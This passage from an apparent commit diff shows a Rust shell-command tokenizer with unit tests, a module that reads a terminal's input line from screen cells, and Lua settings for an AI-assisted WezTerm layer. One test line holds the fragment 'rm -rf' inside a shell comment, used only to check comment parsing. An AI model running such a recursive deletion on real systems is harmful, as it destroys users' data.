/// is only a `$`.
fn variable_len(b: &[u8], k: usize) -> usize {
let n = b.len();
if k + 1 >= n {
return 1;
}
let c = b[k + 1];
if c == b'{' {
let mut m = k + 2;
while m < n {
if b[m] == b'}' {
return m + 1 - k;
}
m += 1;
}
return n - k;
}
if is_name_start(c) {
let mut m = k + 2;
while m < n && is_name_char(b[m]) {
m += 1;
}
return m - k;
}
if c.is_ascii_digit() || b"?!#$*@-".contains(&c) {
return 2;
}
1
}
/// The length of the sign that starts at `i`, when one does.
fn operator_len(b: &[u8], i: usize) -> Option<usize> {
let n = b.len();
let at = |k: usize| -> u8 {
if k < n {
b[k]
} else {
0
}
};
let c = b[i];
match c {
b';' => Some(if at(i + 1) == b';' { 2 } else { 1 }),
b'|' => Some(if at(i + 1) == b'|' || at(i + 1) == b'&' {
2
} else {
1
}),
b'&' => {
if at(i + 1) == b'&' {
Some(2)
} else if at(i + 1) == b'>' {
Some(if at(i + 2) == b'>' { 3 } else { 2 })
} else {
Some(1)
}
}
b'(' | b')' | b'`' => Some(1),
b'$' if at(i + 1) == b'(' => Some(2),
b'<' | b'>' => Some(redirect_len(b, i)),
_ if c.is_ascii_digit() => {
// a file descriptor before a redirection: 2> 2>&1
let mut k = i;
while k < n && b[k].is_ascii_digit() {
k += 1;
}
if at(k) == b'<' || at(k) == b'>' {
Some(k - i + redirect_len(b, k))
} else {
None
}
}
_ => None,
}
}
/// The length of the redirection whose `<` or `>` is at `i`.
fn redirect_len(b: &[u8], i: usize) -> usize {
let n = b.len();
let mut k = i + 1;
if k < n && b[k] == b[i] {
// << >>
k += 1;
if k < n && b[i] == b'<' && b[k] == b'<' {
// <<<
k += 1;
}
return k - i;
}
if k < n && b[k] == b'|' && b[i] == b'>' {
return 2;
}
if k < n && b[k] == b'&' {
// >& >&2 <&-
k += 1;
if k < n && b[k] == b'-' {
k += 1;
} else {
while k < n && b[k].is_ascii_digit() {
k += 1;
}
}
}
k - i
}
/// Does this redirection name its own target (`2>&1`, `<&-`)?
fn redirect_is_whole(op: &str) -> bool {
match op.find('&') {
Some(amp) => amp + 1 < op.len() && !op.starts_with('&'),
None => false,
}
}
/// Where the word that starts at `i` ends.
fn word_end(b: &[u8], i: usize) -> usize {
let n = b.len();
let mut j = i;
while j < n {
match b[j] {
b' ' | b'\t' | b';' | b'|' | b'&' | b'(' | b')' | b'<' | b'>' | b'`' => break,
b'\\' => j += 2,
b'\'' => j = skip_single(b, j),
b'"' => j = skip_escaped(b, j, b'"'),
b'$' if j + 1 < n && b[j + 1] == b'\'' => j = skip_escaped(b, j + 1, b'\''),
b'$' if j + 1 < n && b[j + 1] == b'(' => break,
b'$' => j += variable_len(b, j),
_ => j += 1,
}
}
j.min(n)
}
/// The length of `NAME=` or `NAME+=` at the start of a word, when the word is
/// an assignment.
fn assignment_len(raw: &str) -> Option<usize> {
let b = raw.as_bytes();
if b.is_empty() || !is_name_start(b[0]) {
return None;
}
let mut k = 1;
while k < b.len() && is_name_char(b[k]) {
k += 1;
}
if k < b.len() && b[k] == b'+' {
k += 1;
}
if k < b.len() && b[k] == b'=' {
Some(k + 1)
} else {
None
}
}
/// What a word says with its quotes taken off; `None` when it holds something
/// only the shell can resolve (a variable, a substitution, a pattern).
pub fn plain_value(raw: &str) -> Option<String> {
let mut out = String::new();
let mut chars = raw.chars();
while let Some(c) = chars.next() {
match c {
'$' | '`' | '*' | '?' | '[' | '{' => return None,
'\\' => match chars.next() {
Some(next) => out.push(next),
None => out.push('\\'),
},
'\'' => {
for q in chars.by_ref() {
if q == '\'' {
break;
}
out.push(q);
}
}
'"' => {
while let Some(q) = chars.next() {
match q {
'"' => break,
'$' | '`' => return None,
'\\' => {
if let Some(next) = chars.next() {
out.push(next);
}
}
q => out.push(q),
}
}
}
c => out.push(c),
}
}
Some(out)
}
fn push(tokens: &mut Vec<Token>, start: usize, end: usize, kind: Kind) {
if end > start {
tokens.push(Token { start, end, kind });
}
}
/// The parts of a double-quoted string from its opening quote at `start` to
/// `end`: the string, with the variables in it picked out.
fn push_double(tokens: &mut Vec<Token>, b: &[u8], start: usize, end: usize) {
let mut seg = start;
let mut m = start + 1;
while m < end {
if b[m] == b'\\' {
m += 2;
continue;
}
if b[m] == b'$' {
let len = variable_len(b, m).min(end - m);
if len > 1 {
push(tokens, seg, m, Kind::String);
push(tokens, m, m + len, Kind::Variable);
m += len;
seg = m;
continue;
}
}
m += 1;
}
push(tokens, seg, end, Kind::String);
}
/// The parts of the word `[start, end)`, its plain text of kind `plain`.
fn push_word(tokens: &mut Vec<Token>, b: &[u8], start: usize, end: usize, plain: Kind) {
let mut seg = start;
let mut k = start;
while k < end {
match b[k] {
b'\\' => k = (k + 2).min(end),
b'\'' => {
let q = skip_single(b, k).min(end);
push(tokens, seg, k, plain);
push(tokens, k, q, Kind::String);
k = q;
seg = k;
}
b'"' => {
let q = skip_escaped(b, k, b'"').min(end);
push(tokens, seg, k, plain);
push_double(tokens, b, k, q);
k = q;
seg = k;
}
b'$' if k + 1 < end && b[k + 1] == b'\'' => {
let q = skip_escaped(b, k + 1, b'\'').min(end);
push(tokens, seg, k, plain);
push(tokens, k, q, Kind::String);
k = q;
seg = k;
}
b'$' => {
let len = variable_len(b, k).min(end - k);
if len > 1 {
push(tokens, seg, k, plain);
push(tokens, k, k + len, Kind::Variable);
k += len;
seg = k;
} else {
k += 1;
}
}
_ => k += 1,
}
}
push(tokens, seg, end, plain);
}
/// Read a command line.
pub fn parse(line: &str) -> Parsed {
let b = line.as_bytes();
let n = b.len();
let mut parsed = Parsed::default();
let mut command_next = true;
let mut target_next = false;
let mut i = 0;
while i < n {
let c = b[i];
if c == b' ' || c == b'\t' {
i += 1;
continue;
}
if c == b'#' {
push(&mut parsed.tokens, i, n, Kind::Comment);
break;
}
if let Some(len) = operator_len(b, i) {
let end = (i + len).min(n);
push(&mut parsed.tokens, i, end, Kind::Operator);
let op = &line[i..end];
if op.contains('<') || op.contains('>') {
target_next = !redirect_is_whole(op);
} else {
target_next = false;
command_next = op != ")";
}
i = end;
continue;
}
let end = word_end(b, i).max(i + 1).min(n);
let raw = &line[i..end];
if raw == "{" || raw == "}" {
push(&mut parsed.tokens, i, end, Kind::Operator);
command_next = raw == "{";
i = end;
continue;
}
if target_next {
target_next = false;
push_word(&mut parsed.tokens, b, i, end, Kind::Word);
parsed.words.push(Word {
start: i,
end,
role: Role::Target,
value: plain_value(raw),
});
} else if command_next {
if let Some(len) = assignment_len(raw) {
push(&mut parsed.tokens, i, i + len, Kind::Variable);
push_word(&mut parsed.tokens, b, i + len, end, Kind::Word);
parsed.words.push(Word {
start: i,
end,
role: Role::Assignment,
value: None,
});
} else if raw.len() > 1 && raw.starts_with('-') {
// an option of the word before (sudo -E make): a command still follows
push_word(&mut parsed.tokens, b, i, end, Kind::Option);
parsed.words.push(Word {
start: i,
end,
role: Role::Option,
value: None,
});
} else {
push_word(&mut parsed.tokens, b, i, end, Kind::Command);
let value = plain_value(raw);
command_next = match &value {
Some(v) => BEFORE_A_COMMAND.contains(&v.as_str()),
None => false,
};
parsed.words.push(Word {
start: i,
end,
role: Role::Command,
value,
});
}
} else if raw.len() > 1 && raw.starts_with('-') {
push_word(&mut parsed.tokens, b, i, end, Kind::Option);
parsed.words.push(Word {
start: i,
end,
role: Role::Option,
value: None,
});
} else {
push_word(&mut parsed.tokens, b, i, end, Kind::Word);
parsed.words.push(Word {
start: i,
end,
role: Role::Argument,
value: plain_value(raw),
});
}
i = end;
}
parsed
}
#[cfg(test)]
mod tests {
use super::Kind::*;
use super::*;
/// The parts of a line as (text, kind).
fn parts(line: &str) -> Vec<(&str, Kind)> {
parse(line)
.tokens
.iter()
.map(|t| (&line[t.start..t.end], t.kind))
.collect()
}
/// The words of a line as (text, role).
fn roles(line: &str) -> Vec<(&str, Role)> {
parse(line)
.words
.iter()
.map(|w| (&line[w.start..w.end], w.role))
.collect()
}
#[test]
fn a_command_its_options_and_arguments() {
assert_eq!(
parts("git commit -m 'a message' --amend file.txt"),
vec![
("git", Command),
("commit", Word),
("-m", Option),
("'a message'", String),
("--amend", Option),
("file.txt", Word),
]
);
assert_eq!(parts(""), vec![]);
assert_eq!(parts(" "), vec![]);
assert_eq!(
parts("ls -"),
vec![("ls", Command), ("-", Word)],
"a lone dash is a file"
);
}
#[test]
fn commands_after_the_signs_between_them() {
assert_eq!(
parts("make && make test || echo no; ls | wc -l &"),
vec![
("make", Command),
("&&", Operator),
("make", Command),
("test", Word),
("||", Operator),
("echo", Command),
("no", Word),
(";", Operator),
("ls", Command),
("|", Operator),
("wc", Command),
("-l", Option),
("&", Operator),
]
);
assert_eq!(
parts("(cd /tmp && ls)"),
vec![
("(", Operator),
("cd", Command),
("/tmp", Word),
("&&", Operator),
("ls", Command),
(")", Operator),
]
);
assert_eq!(
parts("{ a; }"),
vec![
("{", Operator),
("a", Command),
(";", Operator),
("}", Operator)
]
);
}
#[test]
fn words_before_a_command() {
assert_eq!(
roles("sudo -E make install"),
vec![
("sudo", Role::Command),
("-E", Role::Option),
("make", Role::Command),
("install", Role::Argument),
]
);
assert_eq!(
parts("if true; then echo yes; fi"),
vec![
("if", Command),
("true", Command),
(";", Operator),
("then", Command),
("echo", Command),
("yes", Word),
(";", Operator),
("fi", Command),
]
);
assert_eq!(
parts("LANG=C LC_ALL=\"C\" sort x"),
vec![
("LANG=", Variable),
("C", Word),
("LC_ALL=", Variable),
("\"C\"", String),
("sort", Command),
("x", Word),
]
);
assert_eq!(roles("A=1")[0].1, Role::Assignment);
assert_eq!(
roles("ls A=1")[1].1,
Role::Argument,
"only before a command"
);
}
#[test]
fn strings_and_variables() {
assert_eq!(
parts("echo \"home is $HOME and ${USER}!\" $? $'a\\'b' pre$X.txt"),
vec![
("echo", Command),
("\"home is ", String),
("$HOME", Variable),
(" and ", String),
("${USER}", Variable),
("!\"", String),
("$?", Variable),
("$'a\\'b'", String),
("pre", Word),
("$X", Variable),
(".txt", Word),
]
);
assert_eq!(
parts("echo 'never closed"),
vec![("echo", Command), ("'never closed", String)],
"a string still being typed"
);
assert_eq!(
parts("echo \"a \\\" b\" c"),
vec![("echo", Command), ("\"a \\\" b\"", String), ("c", Word)]
);
assert_eq!(
parts("echo a\\ b"),
vec![("echo", Command), ("a\\ b", Word)]
);
assert_eq!(parts("echo $"), vec![("echo", Command), ("$", Word)]);
assert_eq!(
parts("echo ${never"),
vec![("echo", Command), ("${never", Variable)]
);
}
#[test]
fn substitutions() {
assert_eq!(
parts("echo $(date +%s) `id -u`"),
vec![
("echo", Command),
("$(", Operator),
("date", Command),
("+%s", Word),
(")", Operator),
("`", Operator),
("id", Command),
("-u", Option),
("`", Operator),
]
);
}
#[test]
fn redirections() {
assert_eq!(
parts("make > out.log 2>&1 < in >> more 2> err &> all"),
vec![
("make", Command),
(">", Operator),
("out.log", Word),
("2>&1", Operator),
("<", Operator),
("in", Word),
(">>", Operator),
("more", Word),
("2>", Operator),
("err", Word),
("&>", Operator),
("all", Word),
]
);
assert_eq!(
roles("cat < in > out"),
vec![
("cat", Role::Command),
("in", Role::Target),
("out", Role::Target)
]
);
assert_eq!(
roles("> out echo hi"),
vec![
("out", Role::Target),
("echo", Role::Command),
("hi", Role::Argument)
],
"a redirection first: the command still follows"
);
assert_eq!(
parts("cat <<< text"),
vec![("cat", Command), ("<<<", Operator), ("text", Word)]
);
assert_eq!(
parts("echo 2 3"),
vec![("echo", Command), ("2", Word), ("3", Word)],
"a number is a file descriptor only before a redirection"
);
}
#[test]
fn comments() {
assert_eq!(
parts("ls # all of it; rm -rf"),
vec![("ls", Command), ("# all of it; rm -rf", Comment)]
);
assert_eq!(
parts("# only a comment"),
vec![("# only a comment", Comment)]
);
assert_eq!(
parts("echo a#b"),
vec![("echo", Command), ("a#b", Word)],
"inside a word it is no comment"
);
}
#[test]
fn values() {
assert_eq!(plain_value("git"), Some("git".to_string()));
assert_eq!(
plain_value("'my file'.txt"),
Some("my file.txt".to_string())
);
assert_eq!(plain_value("\"a b\"/c\\ d"), Some("a b/c d".to_string()));
assert_eq!(plain_value("$HOME/bin"), None);
assert_eq!(plain_value("\"$HOME\""), None);
assert_eq!(plain_value("*.txt"), None);
assert_eq!(plain_value("file{1,2}"), None);
let p = parse("'/usr/bin/my prog' x");
assert_eq!(p.words[0].role, Role::Command);
assert_eq!(p.words[0].value, Some("/usr/bin/my prog".to_string()));
}
#[test]
fn builtins() {
assert!(is_builtin("cd"));
assert!(is_builtin("[["));
assert!(is_builtin("fi"));
assert!(!is_builtin("git"));
assert!(!is_builtin(""));
}
#[test]
fn text_that_is_not_ascii() {
assert_eq!(
parts("echo \u{17e}lu\u{165}ou\u{10d}k\u{fd} '\u{4e2d}\u{6587}' # \u{e1}no"),
vec![
("echo", Command),
("\u{17e}lu\u{165}ou\u{10d}k\u{fd}", Word),
("'\u{4e2d}\u{6587}'", String),
("# \u{e1}no", Comment),
]
);
}
#[test]
fn nothing_overlaps_and_nothing_is_out_of_the_line() {
for line in [
"a\\",
"\"",
"'",
"$",
"${",
"$'",
"2>",
">&",
"&>>",
"a=\"",
"x $(",
"\\",
"echo \"$",
"echo \"\\",
"<<<",
"1",
"12>",
] {
let p = parse(line);
let mut at = 0;
for t in &p.tokens {
assert!(t.start >= at, "{:?} overlaps in {:?}", t, line);
assert!(t.end > t.start, "{:?} is empty in {:?}", t, line);
assert!(t.end <= line.len(), "{:?} is out of {:?}", t, line);
assert!(line.is_char_boundary(t.start) && line.is_char_boundary(t.end));
at = t.end;
}
for w in &p.words {
assert!(w.start < w.end && w.end <= line.len());
}
}
}
}
+384
View File
@@ -0,0 +1,384 @@
//! The shell's input line, read from the screen.
//!
//! The terminal does not follow what is typed: a shell edits its line in ways
//! key presses do not show (history, completion, a widget). What the line
//! holds is read back from the cells the shell drew. A shell with the shell
//! integration marks them: cells written after the end of its prompt (OSC 133
//! B) are *input* until the command starts.
//!
//! The terminal's part turns the rows near the cursor into [`Cell`]s; this
//! module finds the input line among them.
/// One cell of a row as the terminal has it.
#[derive(Debug, Clone, PartialEq, Eq)]
pub struct Cell {
/// Its first column.
pub col: usize,
/// The columns it takes (1, or 2 for a wide character).
pub width: usize,
/// What it shows.
pub text: String,
/// Marked as input by the shell integration.
pub input: bool,
}
/// The cells of a row that hold something, by column.
pub type Row = Vec<Cell>;
/// Where a part of the input line's text is on the screen.
#[derive(Debug, Clone, PartialEq, Eq)]
pub struct Piece {
/// Index of its row among the rows given.
pub row: usize,
pub col: usize,
pub width: usize,
/// Its bytes in [`Zone::text`].
pub start: usize,
pub end: usize,
}
/// The input line.
#[derive(Debug, Clone, PartialEq, Eq)]
pub struct Zone {
/// Everything on the line.
pub text: String,
/// The byte in `text` the cursor stands before.
pub cursor: usize,
/// Where each cell's text is.
pub pieces: Vec<Piece>,
}
impl Zone {
/// What is typed up to the cursor.
pub fn typed(&self) -> &str {
&self.text[..self.cursor]
}
/// What the line holds after the cursor.
pub fn after(&self) -> &str {
&self.text[self.cursor..]
}
/// Is the cursor at the end of what is typed? (Cells a shell blanked when
/// something was deleted do not count.)
pub fn at_end(&self) -> bool {
self.after().trim().is_empty()
}
}
/// The run of input cells of a row that touches column `at`: the indices
/// `[from, to)` into the row. A cell touches when it ends at `at` (the cursor
/// is right after it) or starts at it.
fn run_touching(row: &[Cell], at: usize) -> Option<(usize, usize)> {
let mut k = None;
for (i, cell) in row.iter().enumerate() {
if !cell.input {
continue;
}
let end = cell.col + cell.width.max(1);
if at > 0 && cell.col < at && at <= end {
// the cell just before the cursor wins over the one under it
k = Some(i);
break;
}
if cell.col == at && k.is_none() {
k = Some(i);
}
}
let k = k?;
Some(extend_run(row, k))
}
/// Grow a run from the cell of index `k` to every input cell that follows on
/// without a gap, both ways.
fn extend_run(row: &[Cell], k: usize) -> (usize, usize) {
let mut from = k;
while from > 0 {
let prev = &row[from - 1];
if prev.input && prev.col + prev.width.max(1) == row[from].col {
from -= 1;
} else {
break;
}
}
let mut to = k + 1;
while to < row.len() {
let prev = &row[to - 1];
if row[to].input && prev.col + prev.width.max(1) == row[to].col {
to += 1;
} else {
break;
}
}
(from, to)
}
/// Does a row hold input that shows something? (An input cell that is blank
/// does not count: a line that was typed and wiped is empty.)
pub fn row_has_input(row: &Row) -> bool {
row.iter()
.any(|cell| cell.input && !cell.text.trim().is_empty())
}
/// Find the input line the cursor is on.
///
/// - `rows`: some rows of the screen, top to bottom, among them the cursor's;
/// - `cursor_row`: the index of the cursor's row in `rows`, `cursor_col` its column;
/// - `cols`: the width of the pane (a line that reaches it carries on in the next row);
/// - `max_rows`: a line of more rows than this is not taken.
///
/// `None` when the cursor is not on an input line: no shell integration, a
/// program other than the shell has the pane, or the line is too long.
pub fn input_zone(
rows: &[Row],
cursor_row: usize,
cursor_col: usize,
cols: usize,
max_rows: usize,
) -> Option<Zone> {
let row = rows.get(cursor_row)?;
let (from, to) = run_touching(row, cursor_col)?;
// (row index, from, to), top to bottom
let mut runs: Vec<(usize, usize, usize)> = vec![(cursor_row, from, to)];
// A run that starts in the first column carries on from the row above,
// when that row's input reaches the last column.
let mut r = cursor_row;
let mut first_from = from;
while r > 0 && rows[r][first_from].col == 0 {
let above = &rows[r - 1];
let last = match above.last() {
Some(last) => last,
None => break,
};
if !last.input || last.col + last.width.max(1) < cols {
break;
}
let (f, t) = extend_run(above, above.len() - 1);
runs.insert(0, (r - 1, f, t));
if runs.len() > max_rows {
return None;
}
r -= 1;
first_from = f;
}
// And one that reaches the last column carries on in the row below.
let mut r = cursor_row;
let mut last_to = to;
while r + 1 < rows.len() {
let last = &rows[r][last_to - 1];
if last.col + last.width.max(1) < cols {
break;
}
let below = &rows[r + 1];
match below.first() {
Some(first) if first.input && first.col == 0 => {}
_ => break,
}
let (f, t) = extend_run(below, 0);
runs.push((r + 1, f, t));
if runs.len() > max_rows {
return None;
}
r += 1;
last_to = t;
}
let mut text = String::new();
let mut pieces = Vec::new();
let mut cursor = None;
for (r, f, t) in runs {
for cell in &rows[r][f..t] {
if cursor.is_none() && (r > cursor_row || (r == cursor_row && cell.col >= cursor_col)) {
cursor = Some(text.len());
}
let start = text.len();
text.push_str(&cell.text);
pieces.push(Piece {
row: r,
col: cell.col,
width: cell.width.max(1),
start,
end: text.len(),
});
}
}
let cursor = cursor.unwrap_or(text.len());
Some(Zone {
text,
cursor,
pieces,
})
}
#[cfg(test)]
mod tests {
use super::*;
/// A row from a picture of it: `p` marks a prompt cell, `i` an input cell,
/// `.` a cell nothing was written to. `text` gives the characters.
fn row(text: &str, marks: &str) -> Row {
let mut cells = Vec::new();
for (col, (c, m)) in text.chars().zip(marks.chars()).enumerate() {
if m == '.' {
continue;
}
cells.push(Cell {
col,
width: 1,
text: c.to_string(),
input: m == 'i',
});
}
cells
}
#[test]
fn whether_a_row_holds_input() {
assert!(row_has_input(&row("$ git st", "ppiiiiii")));
assert!(!row_has_input(&row("$ ", "pp")), "an empty prompt");
assert!(
!row_has_input(&row("$ ", "ppiii")),
"typed and wiped: blank input cells are no input"
);
assert!(!row_has_input(&Vec::new()));
}
#[test]
fn the_line_after_the_prompt() {
let rows = vec![row("$ git st", "ppiiiiii")];
let z = input_zone(&rows, 0, 8, 80, 3).unwrap();
assert_eq!(z.text, "git st");
assert_eq!(z.typed(), "git st");
assert_eq!(z.after(), "");
assert!(z.at_end());
assert_eq!(z.pieces.len(), 6);
assert_eq!(z.pieces[0].col, 2);
assert_eq!((z.pieces[5].start, z.pieces[5].end), (5, 6));
}
#[test]
fn the_cursor_inside_the_line() {
let rows = vec![row("$ git st", "ppiiiiii")];
let z = input_zone(&rows, 0, 5, 80, 3).unwrap();
assert_eq!(z.typed(), "git");
assert_eq!(z.after(), " st");
assert!(!z.at_end());
let z = input_zone(&rows, 0, 2, 80, 3).unwrap();
assert_eq!(z.typed(), "", "at the start of the line");
assert_eq!(z.after(), "git st");
}
#[test]
fn cells_blanked_by_a_deletion_are_not_typed() {
// "git status" typed, then the last four characters deleted
let rows = vec![row("$ git st ", "ppiiiiiiiiii")];
let z = input_zone(&rows, 0, 8, 80, 3).unwrap();
assert_eq!(z.typed(), "git st");
assert!(z.at_end());
}
#[test]
fn a_typed_space_at_the_end_is_typed() {
let rows = vec![row("$ git ", "ppiiii")];
let z = input_zone(&rows, 0, 6, 80, 3).unwrap();
assert_eq!(z.typed(), "git ");
}
#[test]
fn no_input_cells_no_line() {
// a fresh prompt, a program's own prompt, a shell without the integration
assert_eq!(input_zone(&[row("$ ", "pp")], 0, 2, 80, 3), None);
assert_eq!(
input_zone(&[row(">>> x = 1", "ppppppppp")], 0, 9, 80, 3),
None
);
assert_eq!(input_zone(&[row("", "")], 0, 0, 80, 3), None);
assert_eq!(input_zone(&[], 0, 0, 80, 3), None);
assert_eq!(input_zone(&[row("$ ls", "ppii")], 3, 4, 80, 3), None);
}
#[test]
fn the_command_above_is_another_line() {
// `cd x` ran and printed nothing; a new prompt, "ls" typed
let rows = vec![row("$ cd x", "ppiiii"), row("$ ls", "ppii")];
let z = input_zone(&rows, 1, 4, 80, 3).unwrap();
assert_eq!(z.text, "ls");
// and the cursor on a row below a command that ran is on no line
let rows = vec![row("$ cd x", "ppiiii"), row("", "")];
assert_eq!(input_zone(&rows, 1, 0, 80, 3), None);
}
#[test]
fn something_drawn_further_right_is_not_the_line() {
// a prompt part at the right edge, drawn by the shell after the line's start
let rows = vec![row("$ ls 12:00", "ppii........iiiii")];
let z = input_zone(&rows, 0, 4, 80, 3).unwrap();
assert_eq!(z.text, "ls");
assert!(z.at_end());
// the cursor two columns past the end is not on the line
assert_eq!(input_zone(&rows, 0, 6, 80, 3), None);
}
#[test]
fn a_line_that_wraps() {
let rows = vec![
row("$ abcdef", "ppiiiiii"),
row("ghijklmn", "iiiiiiii"),
row("op", "ii"),
];
let z = input_zone(&rows, 2, 2, 8, 3).unwrap();
assert_eq!(z.text, "abcdefghijklmnop");
assert!(z.at_end());
assert_eq!(z.pieces[6].row, 1);
assert_eq!(z.pieces[6].col, 0);
// the cursor in the first row: the rows below belong to the line
let z = input_zone(&rows, 0, 4, 8, 3).unwrap();
assert_eq!(z.typed(), "ab");
assert_eq!(z.after(), "cdefghijklmnop");
// too many rows: not taken
assert_eq!(input_zone(&rows, 2, 2, 8, 2), None);
assert_eq!(input_zone(&rows, 0, 4, 8, 2), None);
}
#[test]
fn a_row_above_that_does_not_reach_the_edge_is_not_joined() {
let rows = vec![row("$ abc", "ppiii"), row("def", "iii")];
let z = input_zone(&rows, 1, 3, 8, 3).unwrap();
assert_eq!(z.text, "def");
}
#[test]
fn wide_characters() {
let rows = vec![vec![
Cell {
col: 0,
width: 1,
text: "$".to_string(),
input: false,
},
Cell {
col: 1,
width: 2,
text: "\u{4e2d}".to_string(),
input: true,
},
Cell {
col: 3,
width: 1,
text: "a".to_string(),
input: true,
},
]];
let z = input_zone(&rows, 0, 4, 80, 3).unwrap();
assert_eq!(z.text, "\u{4e2d}a");
assert_eq!(
(z.pieces[0].start, z.pieces[0].end, z.pieces[0].width),
(0, 3, 2)
);
let z = input_zone(&rows, 0, 3, 80, 3).unwrap();
assert_eq!(z.typed(), "\u{4e2d}");
}
}
+6
View File
@@ -4,5 +4,11 @@
-- own file starts from the same four lines.
local wezterm = require 'wezterm'
local config = wezterm.config_builder()
-- A quiet window: no tab bar while there is one tab, and when there are more a plain line of
-- text at the bottom rather than a strip built into the window's frame. Tabs are opened, closed
-- and walked by keys (CTRL+SHIFT+T, CTRL+SHIFT+W, CTRL+TAB) whether the bar shows or not.
config.hide_tab_bar_if_only_one_tab = true
config.use_fancy_tab_bar = false
config.tab_bar_at_bottom = true
require('llembas').apply(config)
return config
+769 -88
View File
@@ -16,6 +16,18 @@ M.CONTEXT_VERSION = 1
-- `lembas complete --shell`. See M.cli_supports_terminal.
M.MIN_CLI_VERSION = '2.0.0-beta.18'
-- What the terminal needs of the CLI beyond that, by the names the CLI gives
-- its own parts (`lembas --version --json` -> capabilities). See M.cli_info.
M.CONTRACT = 2
M.CAP = {
display = 'terminal_surface', -- `lembas terminal`, the display
models = 'terminal_models', -- `lembas terminal models`
settings = 'terminal_settings', -- `lembas terminal settings`: what the person chose, remembered
placed = 'terminal_placed', -- manual mode: a command placed at the prompt, not entered
}
-- The contract a part came with, where that is later than M.CONTRACT.
M.CAP_CONTRACT = { settings = 3, placed = 3 }
M.LIMITS = {
max_blocks = 20, -- the most command blocks a context may carry
total_bytes = 256 * 1024, -- the context file stays under this
@@ -23,6 +35,9 @@ M.LIMITS = {
value_chars = 64, -- one value in the session bar
title_chars = 80,
question_bytes = 16 * 1024,
status_bytes = 4096, -- a pane's status record
status_value_chars = 1024,
model_ref_chars = 128,
}
M.STATES = {
@@ -46,14 +61,43 @@ M.BAR_FIELDS = {
spend = true,
}
M.MODES = { manual = true, auto = true }
-- What a colour may be drawn with by default: a number of the colour scheme's
-- palette (0-15 are the ANSI colours), so that every colour follows the theme.
M.COLORS = {
prefix = 6, -- the ask line's own prefix
ghost = 8, -- a suggestion after the cursor
notice = 3, -- a word from the terminal at the cursor's row
command = 2, -- a command that exists
unknown = false, -- a command that is not found: left alone (the terminal does not
-- know the shell's aliases and functions); give it a colour to mark such words
option = false, -- false: left as the shell drew it
string = 3,
variable = 6,
operator = 5,
comment = 8,
path = 4, -- a path that exists
}
-- What the layer does when nothing is said. A person's own configuration
-- passes a table of the same shape to apply(); only what it names changes.
function M.defaults()
local colors = {}
for k, v in pairs(M.COLORS) do
colors[k] = v
end
return {
enabled = true,
-- Path of the LLeMbas CLI. nil: the one shipped beside this terminal,
-- then `lembas` on PATH.
-- AI features on or off when the terminal starts. Off: every LLeMbas key
-- but the switch does nothing, nothing is started, nothing of a pane is
-- read and nothing leaves the machine. On: still nothing until a key.
ai = true,
-- Path of the LLeMbas CLI. nil: `lembas` on PATH, then in ~/.local/bin
-- (where its installer puts it). The terminal carries no copy of its own.
cli = nil,
-- Path of LLeMbas IDE's launcher. nil: `llembas-ide` on PATH, then in ~/.local/bin.
ide = nil,
session_bar = true,
tab_marker = true,
palette = true,
@@ -62,16 +106,27 @@ function M.defaults()
},
keys = {
ask = { key = 'A', mods = 'CTRL|SHIFT' },
new_session = { key = 'S', mods = 'CTRL|SHIFT' },
resume = { key = 'O', mods = 'CTRL|SHIFT' },
toggle_display = { key = 'D', mods = 'CTRL|SHIFT' },
cli = { key = 'S', mods = 'CTRL|SHIFT' },
ai = { key = 'I', mods = 'CTRL|SHIFT' },
approve = { key = 'Y', mods = 'CTRL|SHIFT' },
deny = { key = 'J', mods = 'CTRL|SHIFT' },
stop = { key = 'G', mods = 'CTRL|SHIFT' },
display = { key = 'D', mods = 'CTRL|SHIFT' },
private = { key = 'H', mods = 'CTRL|SHIFT' },
ide = { key = 'E', mods = 'CTRL|SHIFT' },
-- in the command palette only, until given a key:
ask_screen = false,
always = false,
new = false,
model = false,
mode = false,
},
split = {
direction = 'Right',
size = 0.45,
-- The display: the pane on the right in which LLeMbas answers.
display = {
width = 0.33, -- of the pane it is opened beside
},
new_session_in = 'split',
-- The mode a display starts in: 'manual' (every command asked) or 'auto'.
mode = 'manual',
context = {
enabled = true,
blocks = 5,
@@ -80,7 +135,23 @@ function M.defaults()
screen_lines = 200,
alt_screen = false,
},
-- Drawn by the terminal on the shell's input line (needs the shell integration):
suggestions = true, -- the rest of the line from your own command history, dimmed
highlight = true, -- the command line in colours
-- AI: the rest of the line from LLeMbas, when the history has none. true: drawn by the
-- terminal like every suggestion. 'shell': by the shell integration instead (zsh draws
-- it itself, bash completes on Ctrl+X Ctrl+A), as before the terminal drew its own.
autocomplete = false,
-- How long LLeMbas is given for the rest of a line, in milliseconds (500 to 30000). The
-- first request after autocomplete is switched on or its model changes is given 20000
-- at least: a model on your own machine may have to be loaded for its first answer.
autocomplete_timeout_ms = 8000,
-- The terminal's own history of commands it saw run, for the suggestions.
history = {
enabled = true,
max = 5000,
},
colors = colors,
}
end
@@ -343,8 +414,13 @@ local function merge_into(base, over, path, warnings)
for k, v in pairs(over) do
local where = path .. tostring(k)
local d = base[k]
if d == nil and not (path == '' and k == 'cli') then
if d == nil and not (path == '' and (k == 'cli' or k == 'ide')) then
warnings[#warnings + 1] = where .. ': not an option of the LLeMbas layer'
elseif path == 'colors.' then
-- checked as a whole afterwards (M.options)
base[k] = v
elseif path == '' and k == 'autocomplete' and v == 'shell' then
base[k] = v
elseif path == 'keys.' then
-- a key: false turns it off, a table { key =, mods = } sets it
if v == false then
@@ -381,6 +457,17 @@ local function clamp(v, lo, hi, fallback)
return v
end
-- A colour of the layer: a number of the palette, '#rrggbb', or false for none.
function M.is_color(v)
if v == false then
return true
end
if type(v) == 'number' then
return v == math.floor(v) and v >= 0 and v <= 255
end
return type(v) == 'string' and v:match('^#%x%x%x%x%x%x$') ~= nil
end
-- options(user) -> the effective options, and a list of what was wrong with
-- what the person passed (never an error: a typo must not take the terminal's
-- configuration down).
@@ -400,21 +487,25 @@ function M.options(user)
c.output_bytes = math.floor(clamp(c.output_bytes, 256, 64 * 1024, d.context.output_bytes))
c.screen_lines = math.floor(clamp(c.screen_lines, 1, 1000, d.context.screen_lines))
local size = o.split.size
if type(size) ~= 'number' or size ~= size or size <= 0 then
size = d.split.size
elseif size > 0.9 and size < 1 then
size = 0.9
local width = o.display.width
if type(width) ~= 'number' or width ~= width or width <= 0 or width >= 1 then
if width ~= d.display.width then
warnings[#warnings + 1] = 'display.width: expected a part of the pane, more than 0 and less than 1'
end
width = d.display.width
end
o.split.size = size
local directions = { Right = true, Left = true, Top = true, Bottom = true }
if not directions[o.split.direction] then
warnings[#warnings + 1] = 'split.direction: expected Right, Left, Top or Bottom'
o.split.direction = d.split.direction
